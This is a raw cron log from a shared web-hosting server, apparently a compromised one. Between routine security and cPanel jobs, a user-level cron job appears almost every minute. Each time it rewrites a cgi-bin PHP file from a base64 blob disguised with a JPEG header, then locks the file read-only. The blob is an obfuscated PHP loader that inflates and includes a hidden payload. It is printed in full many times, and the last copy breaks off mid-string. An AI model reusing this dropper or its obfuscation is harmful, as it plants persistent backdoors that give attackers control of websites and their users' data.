Sep 12 13:54:01 server CROND[30908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:54:01 server CROND[30909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:55:01 server CROND[31279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:55:01 server CROND[31281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:55:01 server CROND[31282]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:55:01 server CROND[31284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:55:01 server CROND[31283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:55:01 server CROND[31285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:55:01 server CROND[31287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:56:01 server CROND[32186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:56:01 server CROND[32187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:56:01 server CROND[32188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:57:01 server CROND[32563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:57:01 server CROND[32564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:57:01 server CROND[32566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:57:01 server CROND[32565]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 13:58:01 server CROND[478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:58:01 server CROND[479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:58:01 server CROND[483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:59:01 server CROND[937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:59:01 server CROND[939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:59:01 server CROND[938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:00:01 server CROND[1426]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 14:00:01 server CROND[1428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:00:01 server CROND[1432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:00:01 server CROND[1433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:00:01 server CROND[1438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:00:01 server CROND[1435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:00:01 server CROND[1442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:00:01 server CROND[1434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:00:01 server CROND[1440]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:00:01 server CROND[1441]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 14:01:01 server CROND[2417]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 14:01:01 server CROND[2418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:01:01 server CROND[2419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:01:01 server CROND[2420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:01:01 server run-parts(/etc/cron.hourly)[2417]: starting 0anacron
Sep 12 14:01:01 server run-parts(/etc/cron.hourly)[2438]: finished 0anacron
Sep 12 14:02:01 server CROND[2839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:02:01 server CROND[2838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:02:01 server CROND[2840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:03:01 server CROND[3215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:03:01 server CROND[3216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:03:01 server CROND[3217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:04:01 server CROND[3592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:04:02 server CROND[3593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:04:02 server CROND[3594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:05:01 server CROND[3991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:05:01 server CROND[3992]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 14:05:01 server CROND[3996]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 14:05:01 server CROND[3997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:05:01 server CROND[4000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:05:01 server CROND[4006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:05:01 server CROND[4005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQt